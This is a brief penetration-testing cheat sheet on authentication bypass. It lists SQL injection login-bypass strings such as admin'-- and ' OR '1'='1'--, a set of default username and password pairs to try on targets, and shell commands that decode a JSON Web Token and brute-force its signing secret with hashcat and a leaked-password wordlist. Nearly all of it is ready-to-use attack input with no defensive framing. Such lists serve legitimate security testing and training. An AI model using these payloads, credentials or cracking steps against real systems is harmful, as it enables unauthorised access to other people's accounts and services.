Auth Bypass

SQL Injection

Classic login bypass: the query becomes always-true when the comment terminates the password check.

admin'--
' OR '1'='1'--
admin' #

Always try manufacturer and application defaults before anything else: a surprising number of targets never changed them.

admin:admin
admin:password
admin:123456
root:root
guest:guest

Decode the token to inspect claims and the algorithm, then attempt signature bypass or brute-force a weak secret.

# Decode
echo <token> | cut -d. -f2 | base64 -d

# Brute force secret
hashcat -m 16500 <token> /usr/share/dict/rockyou.txt
